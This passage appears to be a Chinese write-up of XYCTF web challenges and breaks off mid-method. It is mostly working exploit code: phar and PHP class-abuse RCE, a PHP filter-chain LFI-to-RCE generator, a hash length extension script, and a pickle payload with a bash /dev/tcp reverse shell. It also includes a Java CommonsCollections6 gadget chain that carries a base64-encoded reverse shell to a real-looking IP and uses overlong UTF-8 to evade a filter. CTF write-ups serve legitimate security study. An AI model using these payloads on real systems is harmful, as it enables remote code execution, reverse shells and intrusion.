JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode
反正多套几层base64肯定能出,实在不行就从XYCTF一步步套上去
ezrce
原理和CTFShow极限rce一致,探姬师傅有个脚本,一把梭了…
并不(
记得加bash的符号就可以了
payload:
$0<<<$0\<\<\<\$\'\\173\\143\\141\\164\\54\\57\\146\\154\\141\\147\\175\\174\\142\\141\\163\\145\\66\\64\'
#{cat,/flag}|base64
去base64解码
pharme
测试可得允许上传的后缀为jpg
class.php是一个简单的无参RCE,利用__HALT_COMPILER();
终止编译即可
exp:
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
public $cmd="eval(end(getallheaders()));__halt_compiler();";
public $a;
public function __destruct(){
if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
eval($this->cmd.'isbigvegetablechicken!');
} else {
echo 'nonono';
}
}
}
$h = new evil();
$phar = new Phar('ezxy.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub 增加gif文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$object = $h;
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();
?>
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
public $cmd="print_r(getallheaders());__halt_compiler();";
public $a;
public function __destruct(){
if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
eval($this->cmd.'isbigvegetablechicken!');
} else {
echo 'nonono';
}
}
}
$h = new evil();
$phar = new Phar('ezxy2.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub 增加gif文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$object = $h;
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();
?>
要绕过phar头,用下面的脚本:
from hashlib import sha1
import gzip
with open('ezxy2.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
new_file = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
f_gzip = gzip.GzipFile("ezxyy2.jpg", "wb")
f_gzip.write(new_file)
f_gzip.close()
触发phar:
compress.zlib://phar://xxx
compress.bzip://phar://xxx
zlib:phar://
我好像用的是第一个触发的
先传ezxyy2.jpg
检测请求头,找到数组的最后一个元素
然后再传ezxyy.jpg
打rce
ezClass
水题
<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$aa=$_GET['aa'];
$b=$_GET['b'];
$bb=$_GET['bb'];
$c=$_GET['c'];
((new $a($aa))->$c())((new $b($bb))->$c());
利用php的Error类带出信息即可:
new Error()->getMessage()能够获取到字符串
a=Error&b=Error&aa=system&bb=cat /f*&c=getMessage
εZ?¿м@Kε¿?
打开f12发现了hint.php
,发现匹配规则如下:
/^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/
这个正则的意思是匹配除了中括号以内的字符
也就是白名单只有这些符号
而且测试发现payload长度<8
也就是最多只能够用7的长度来执行
其实这里可以爆破()
生成一个11^7+11^6+11^5+11^4+11^3+11^2+11
的字典即可((
然后本地测试()
测试发现:makefile里的$<
就是/flag,但是没有直接读取的权限
这里结合一下linux的东西 $()
也能够执行命令,<
能够将东西输入到命令里,直接读取不行就用这样的方式读取:
$(</flag)
将/flag
重新定向到一个bash -i
里
外部相当于bash -c
其实就相当于bash -c "bash -i /flag"
替换一下/flag
就是$<
payload:
$(<$<)
也不知道我解释的思路对不对,毕竟makefile这个东西我还是第一次见。
login
如果注意到这个题有个register.php
的话就能够解决了
但是wsrx这个不给扫= =
/register.php
注册一个账号,然后登录,发现啥也没有
下意识打开F12,发现了cookie这里有个Rememberme
下意识以为是shiro
,然后高高兴兴地去拿shiro的工具打,发现根本不行
man!
然后才仔细看看它的cookie:
RememberMe=gASVLAAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwBMZSMA3B3ZJRoBnViLg==
一坨AAAA,其实这里是pickle的特征
看看base64
能直接解码显然不对劲了,还有一个app
这里很明显是python的服务器,那这个cookie经过base64decode的是啥呢?
搜一下就知道
百度:ctf RememberMe
发现是pickle的特征,这下就合理多了
那简单,打pick反序列化就对了,发现还有waf的,直接打不太行
发现过滤的是关键字,比如import
,system
等
但是os没有被过滤,这个时候直接用os.popen
就好了:
import pickle
import base64
import os
opcode = b'''(S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
ios
popen
.'''
print(base64.b64encode(opcode))
反弹shell,源码如下:
import hashlib
import os
import pickle
import base64
import hashlib
from flask import Flask,request,session,render_template,redirect,make_response
class Login:
def __init__(self,name,pwd):
self.name = name
self.pwd = pwd
def checkLogin(users,name,pwd):
for user in users:
if user.name == name and user.pwd == user.pwd:
return True
return False
def getUserclass(users,name,pwd):
for user in users:
if user.name == name and user.pwd == user.pwd:
return user
return None
def waf(data):
if b'R' in data or b'r' in data:
return False
return True
app=Flask(__name__)
users = []
# pickle
@app.route('/',methods=['GET','POST'])
@app.route('/index.php',methods=['GET','POST'])
def index():
try:
RememberMe = request.cookies.get('RememberMe')
print(RememberMe)
pickle_data = base64.b64decode(RememberMe)
print(pickle_data)
if waf(pickle_data):
print(pickle_data)
user_class = pickle.loads(pickle_data)
#print(user_class)
return "hello world! {}".format(user_class.name)
else:
return "waf!!!!"
except:
return redirect("login.php")
# 登录
@app.route('/login.php',methods=['GET','POST'])
def login():
if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):
if type(username)==str and type(password)==str and checkLogin(users,username,password):
user_class = getUserclass(users,username,password)
RememberMe = base64.b64encode(pickle.dumps(user_class))
res=make_response("Login success! <a href='/'>Click here to redirect.</a>");
res.set_cookie('RememberMe',RememberMe.decode('utf-8'))
return res
else:
return "Login fail!"
return render_template("login.html")
# 注册
@app.route('/register.php',methods=['GET','POST'])
def register():
if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):
if type(username)==str and type(password)==str:
for user in users:
if user.name == username:
return "Register fail!"
users.append(Login(username,password))
return "Register successs! Your username is {username}.".format(username=username)
else:
return "Register fail!"
return render_template("register.html")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
give me flag
哈希长度拓展攻击。
讲下原理吧。
md5的算法流程
对于一个字符串,其二进制长度=字符串长度*2*4
比如对于64个a
,其二进制长度就会是64*2*4=512
对于MD5算法来说,要对原数据进行分块处理,以512个二进制数据为一块,直到最后的数据块,分为以下两种情况:
- 长度<=448时,则会填充padding(无意义数据)使其长度达到448,再添加原始明文数据的二进制长度信息直到512位
- 长度>448且<512时,填充padding到下一块的448位,再添加二进制长度信息至512位
将数据分块后就可以进行md5运算了
初始向量是确定的:
A=0x67452301
B=0xefcdab89
C=0x98badcfe
D=0x10325476
经过运算即可获得MD5值
而这个运算,对于一个确定的md5,可以通过一定的规则将md5转成secret+xxx
的md5值
具体的过程可以看这篇文章:浅谈HASH长度拓展攻击 - Yunen的博客 - 博客园 (cnblogs.com),膜拜师傅Orz
哈希长度拓展攻击一般都推荐hashpump
但是我觉得hexpand更加好用:
-t 明文加密方式
-s md5签名signature
-l 明文长度
-m 后面追加的数据
./hexpand -t md5 -s abcdefg -l 43 -m xxxx #把这个xxxx换成时间戳,abcdefg换成你的md5
这个43怎么来的呢?因为web的动态flag格式是:
flagname{uuid.uuid4()}
找个其他靶机看看flag格式也行,前缀flagname是XYCTF
,uuid.uuid4()
的长度是36,加起来就是43了
由于这里题目给的是$flag.$value.$time
,其中$time=time()
,我们需要对时间戳进行预测提交,又由于提交时靶机有延迟,所以这里要测以下请求的时间差
$value.$time
是我们要追加的信息,但是$time
已经写好了,所以我们生成的md5时追加的信息要删掉
经过我测试大概提交时间和实际时间有三秒钟左右的延迟(计算两次请求的时间差),写出python脚本如下:
import requests
import re
import time
times = 1713193105 #实际提交时间-3
md5value = '375f1c986d1f091a622a7d7fdb1497a8' #利用hexpand生成的md5值,这里是实际提交时间
value = f'800000000000000000000000005801000000000000' #参考上面hexpand生成的结果,删掉最后20位数据
value2 = ''
for i in range(0, len(value), 2):
value2+= "%"+value[i]+value[i+1]
print(value2) #生成urlencode payload
url = f"http://localhost:38864/?md5={md5value}&value={value2}"
while(True):
print ("Time left " +str(time.time() - times))
if (time.time() - times) > 0.01 and time.time() - times < 0.15: #判断一个大致区间即可🤔
res = requests.get(url = url)
time.sleep(3)
print(res.text)
break
else:
print("[*]Waiting..., time is " + str(time.time()))
print("[*]Checking payload " + url)
time.sleep(0.04)
ezLFI
源码:
<?php include_once($_REQUEST['file']);
filterchain秒杀:
import requests
#参数file
url = "http://127.0.0.1:5000/xyunser.php"
file_to_use = "/flag/resource=/etc/passwd"
command = "whoami"
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
print(final_payload)
r = requests.get(url, params={
"0": command,
#"action": "include",
"file": final_payload
})
print(r.text)
Baby_Unserialize(赛后复现)
这里真的测了很久…
黑盒java,出网,urldns链能打
想用cc链,但是根本打不得一点,直接返回HOW DARE YOU
这就难办了,也不知道后台有啥gadget,只能盲测一波。这里想到了[用urldns链探测gadget][https://mp.weixin.qq.com/s/KncxkSIZ7HVXZ0iNAX8xPA]
🤔,改一下测gadget:
BadAttributeValueExpException 可行
cb链 没有
jackson 没有
fastjson 没有
c3p0 没有
rome 没有
hessian 没有
一些常用的gadget
HotSwappable
XString也没有
甚至连templatesImpl也没有
。。。。。。。。
还有很多,就不放出来了
逆天,啥gadget都没
这里就在想它到底是怎么过滤的了。
测得关键字commons.collections
被干掉了,🤔
这里还在想他是不是用serialkiller或者是其他的方式,比如常见的resolveClass
给ban掉了,然后用一种很新的day给绕过
百思不得其解,只能去找找绕waf的方式
找是找到了,回忆飘如雪师傅的两个方式:
- 加大量脏数据
- 延时分块传输
都没解,这么为难我一个小萌新干啥捏。。
遂放弃。
但其实是自己想太多了。。
还有一种可能就是只检测了解码后的String是否含有commons.collections
,毕竟如果直接重写resolveClass
就是无解的命题
只需要绕commons.collections
即可:
cc6:
package com.Err0r233;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import gdufs.challenge.web.Utils;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC6Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41Mi45NC4yMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
ByteArrayOutputStream baos0 = new ByteArrayOutputStream();
/*ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
objectOutputStream.writeObject(hashMap);
System.out.println(new String(baos.toByteArray()));*/
UTF8_overlong_encode encode = new UTF8_overlong_encode(baos0);
encode.writeObject(hashMap);
System.out.println(new String(baos0.toByteArray()));
//System.out.println(Serialize(hashMap));
//String ser = Serialize(hashMap);
//UnSerialize(ser);
//UnSerialize(ser);
/*ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(baos0.toByteArray()));
objectInputStream.readObject();
objectInputStream.close();*/
System.out.println(Utils.Base64_Encode(baos0.toByteArray()));
}
}
工具类:
package com.Err0r233;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
/**
* 参考p神:https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
* 参考1ue:https://t.zsxq.com/17LkqCzk8
* 实现:参考 OObjectOutputStream# protected void writeClassDescriptor(ObjectStreamClass desc)方法
*/
public class UTF8_overlong_encode extends ObjectOutputStream {
public UTF8_overlong_encode(OutputStream out) throws IOException {
super(out);
}
private static HashMap<Character, int[]> map;
private static Map<Character,int[]> bytesMap=new HashMap<>();
static {
map = new HashMap<>();
map.put('.', new int[]{0xc0, 0xae});
map.put(';', new int[]{0xc0, 0xbb});
map.put('$', new int[]{0xc0, 0xa4});
map.put('[', new int[]{0xc1, 0x9b});
map.put(']', new int[]{0xc1, 0x9d});
map.put('a', new int[]{0xc1, 0xa1});
map.put('b', new int[]{0xc1, 0xa2});
map.put('c', new int[]{0xc1, 0xa3});
map.put('d', new int[]{0xc1, 0xa4});
map.put('e', new int[]{0xc1, 0xa5});
map.put('f', new int[]{0xc1, 0xa6});
map.put('g', new int[]{0xc1, 0xa7});
map.put('h', new int[]{0xc1, 0xa8});
map.put('i', new int[]{0xc1, 0xa9});
map.put('j', new int[]{0xc1, 0xaa});
map.put('k', new int[]{0xc1, 0xab});
map.put('l', new int[]{0xc1, 0xac});
map.put('m', new int[]{0xc1, 0xad});
map.put('n', new int[]{0xc1, 0xae});
map.put('o', new int[]{0xc1, 0xaf});
map.put('p', new int[]{0xc1, 0xb0});
map.put('q', new int[]{0xc1, 0xb1});
map.put('r', new int[]{0xc1, 0xb2});
map.put('s', new int[]{0xc1, 0xb3});
map.put('t', new int[]{0xc1, 0xb4});
map.put('u', new int[]{0xc1, 0xb5});
map.put('v', new int[]{0xc1, 0xb6});
map.put('w', new int[]{0xc1, 0xb7});
map.put('x', new int[]{0xc1, 0xb8});
map.put('y', new int[]{0xc1, 0xb9});
map.put('z', new int[]{0xc1, 0xba});
map.put('A', new int[]{0xc1, 0x81});
map.put('B', new int[]{0xc1, 0x82});
map.put('C', new int[]{0xc1, 0x83});
map.put('D', new int[]{0xc1, 0x84});
map.put('E', new int[]{0xc1, 0x85});
map.put('F', new int[]{0xc1, 0x86});
map.put('G', new int[]{0xc1, 0x87});
map.put('H', new int[]{0xc1, 0x88});
map.put('I', new int[]{0xc1, 0x89});
map.put('J', new int[]{0xc1, 0x8a});
map.put('K', new int[]{0xc1, 0x8b});
map.put('L', new int[]{0xc1, 0x8c});
map.put('M', new int[]{0xc1, 0x8d});
map.put('N', new int[]{0xc1, 0x8e});
map.put('O', new int[]{0xc1, 0x8f});
map.put('P', new int[]{0xc1, 0x90});
map.put('Q', new int[]{0xc1, 0x91});
map.put('R', new int[]{0xc1, 0x92});
map.put('S', new int[]{0xc1, 0x93});
map.put('T', new int[]{0xc1, 0x94});
map.put('U', new int[]{0xc1, 0x95});
map.put('V', new int[]{0xc1, 0x96});
map.put('W', new int[]{0xc1, 0x97});
map.put('X', new int[]{0xc1, 0x98});
map.put('Y', new int[]{0xc1, 0x99});
map.put('Z', new int[]{0xc1, 0x9a});
bytesMap.put('$', new int[]{0xe0,0x80,0xa4});
bytesMap.put('.', new int[]{0xe0,0x80,0xae});
bytesMap.put(';', new int[]{0xe0,0x80,0xbb});
bytesMap.put('A', new int[]{0xe0,0x81,0x81});
bytesMap.put('B', new int[]{0xe0,0x81,0x82});
bytesMap.put('C', new int[]{0xe0,0x81,0x83});
bytesMap.put('D', new int[]{0xe0,0x81,0x84});
bytesMap.put('E', new int[]{0xe0,0x81,0x85});
bytesMap.put('F', new int[]{0xe0,0x81,0x86});
bytesMap.put('G', new int[]{0xe0,0x81,0x87});
bytesMap.put('H', new int[]{0xe0,0x81,0x88});
bytesMap.put('I', new int[]{0xe0,0x81,0x89});
bytesMap.put('J', new int[]{0xe0,0x81,0x8a});
bytesMap.put('K', new int[]{0xe0,0x81,0x8b});
bytesMap.put('L', new int[]{0xe0,0x81,0x8c});
bytesMap.put('M', new int[]{0xe0,0x81,0x8d});
bytesMap.put('N', new int[]{0xe0,0x81,0x8e});
bytesMap.put('O', new int[]{0xe0,0x81,0x8f});
bytesMap.put('P', new int[]{0xe0,0x81,0x90});
bytesMap.put('Q', new int[]{0xe0,0x81,0x91});
bytesMap.put('R', new int[]{0xe0,0x81,0x92});
bytesMap.put('S', new int[]{0xe0,0x81,0x93});
bytesMap.put('T', new int[]{0xe0,0x81,0x94});
bytesMap.put('U', new int[]{0xe0,0x81,0x95});
bytesMap.put('V', new int[]{0xe0,0x81,0x96});
bytesMap.put('W', new int[]{0xe0,0x81,0x97});
bytesMap.put('X', new int[]{0xe0,0x81,0x98});
bytesMap.put('Y', new int[]{0xe0,0x81,0x99});
bytesMap.put('Z', new int[]{0xe0,0x81,0x9a});
bytesMap.put('[', new int[]{0xe0,0x81,0x9b});
bytesMap.put(']', new int[]{0xe0,0x81,0x9d});
bytesMap.put('a', new int[]{0xe0,0x81,0xa1});
bytesMap.put('b', new int[]{0xe0,0x81,0xa2});
bytesMap.put('c', new int[]{0xe0,0x81,0xa3});
bytesMap.put('d', new int[]{0xe0,0x81,0xa4});
bytesMap.put('e', new int[]{0xe0,0x81,0xa5});
bytesMap.put('f', new int[]{0xe0,0x81,0xa6});
bytesMap.put('g', new int[]{0xe0,0x81,0xa7});
bytesMap.put('h', new int[]{0xe0,0x81,0xa8});
bytesMap.put('i', new int[]{0xe0,0x81,0xa9});
bytesMap.put('j', new int[]{0xe0,0x81,0xaa});
bytesMap.put('k', new int[]{0xe0,0x81,0xab});
bytesMap.put('l', new int[]{0xe0,0x81,0xac});
bytesMap.put('m', new int[]{0xe0,0x81,0xad});
bytesMap.put('n', new int[]{0xe0,0x81,0xae});
bytesMap.put('o', new int[]{0xe0,0x81,0xaf});
bytesMap.put('p', new int[]{0xe0,0x81,0xb0});
bytesMap.put('q', new int[]{0xe0,0x81,0xb1});
bytesMap.put('r', new int[]{0xe0,0x81,0xb2});
bytesMap.put('s', new int[]{0xe0,0x81,0xb3});
bytesMap.put('t', new int[]{0xe0,0x81,0xb4});
bytesMap.put('u', new int[]{0xe0,0x81,0xb5});
bytesMap.put('v', new int[]{0xe0,0x81,0xb6});
bytesMap.put('w', new int[]{0xe0,0x81,0xb7});
bytesMap.put('x', new int[]{0xe0,0x81,0xb8});
bytesMap.put('y', new int[]{0xe0,0x81,0xb9});
bytesMap.put('z', new int[]{0xe0,0x81,0xba});
}
public void charWritTwoBytes(String name){
//将name进行overlong Encoding
byte[] bytes=new byte[name.length() * 2];
int k=0;
StringBuffer str=new StringBuffer();
for (int i = 0; i < name.length(); i++) {
int[] bs = map.get(name.charAt(i));
bytes[k++]= (byte) bs[0];
bytes[k++]= (byte) bs[1];
str.append(Integer.toHexString(bs[0])+",");
str.append(Integer.toHexString(bs[1])+",");
}
System.out.println(str.toString());
try {
writeShort(name.length() * 2);
write(bytes);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public void charWriteThreeBytes(String name){
//将name进行overlong Encoding
byte[] bytes=new byte[name.length() * 3];
int k=0;
StringBuffer str=new StringBuffer();
for (int i = 0; i < name.length(); i++) {
int[] bs = bytesMap.get(name.charAt(i));
bytes[k++]= (byte) bs[0];
bytes[k++]= (byte) bs[1];
bytes[k++]= (byte) bs[2];
str.append(Integer.toHexString(bs[0])+",");
str.append(Integer.toHexString(bs[1])+",");
str.append(Integer.toHexString(bs[2])+",");
}
System.out.println(str.toString());
try {
writeShort(name.length() * 3);
write(bytes);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
protected void writeClassDescriptor(ObjectStreamClass desc)
throws IOException {
String name = desc.getName();
boolean externalizable = (boolean) getFieldValue(desc, "externalizable");
boolean serializable = (boolean) getFieldValue(desc, "serializable");
boolean hasWriteObjectData = (boolean) getFieldValue(desc, "hasWriteObjectData");
boolean isEnum = (boolean) getFieldValue(desc, "isEnum");
ObjectStreamField[] fields = (ObjectStreamField[]) getFieldValue(desc, "fields");
System.out.println(name);
//写入name(jdk原生写入方法)
// writeUTF(name);
//写入name(两个字节表示一个字符)
// charWritTwoBytes(name);
//写入name(三个字节表示一个字符)
charWriteThreeBytes(name);
writeLong(desc.getSerialVersionUID());
byte flags = 0;
if (externalizable) {
flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;
Field protocolField =
null;
int protocol;
try {
protocolField = ObjectOutputStream.class.getDeclaredField("protocol");
protocolField.setAccessible(true);
protocol = (int) protocolField.get(this);
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {
flags |= ObjectStreamConstants.SC_BLOCK_DATA;
}
} else if (serializable) {
flags |= ObjectStreamConstants.SC_SERIALIZABLE;
}
if (hasWriteObjectData) {
flags |= ObjectStreamConstants.SC_WRITE_METHOD;
}
if (isEnum) {
flags |= ObjectStreamConstants.SC_ENUM;
}
writeByte(flags);
writeShort(fields.length);
for (int i = 0; i < fields.length; i++) {
ObjectStreamField f = fields[i];
writeByte(f.getTypeCode());
writeUTF(f.getName());
if (!f.isPrimitive()) {
invoke(this, "writeTypeString", f.getTypeString());
}
}
}
public static void invoke(Object object, String methodName, Object... args) {
Method writeTypeString = null;
try {
writeTypeString = ObjectOutputStream.class.getDeclaredMethod(methodName, String.class);
writeTypeString.setAccessible(true);
try {
writeTypeString.invoke(object, args);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
} catch (InvocationTargetException e) {
throw new RuntimeException(e);
}
} catch (NoSuchMethodException e) {
throw new RuntimeException(e);
}
}
public static Object getFieldValue(Object object, String fieldName) {
Class<?> clazz = object.getClass();
Field field = null;
Object value = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
value = field.get(object);
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
return value;
}
}
package gdufs.challenge.web;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
public class Utils {
public static String getTemplatesImplBase64() throws Exception{
return new String(Base64.getEncoder().encode(GenerateEvil()));
}
public static byte[] GenerateEvil() throws Exception{
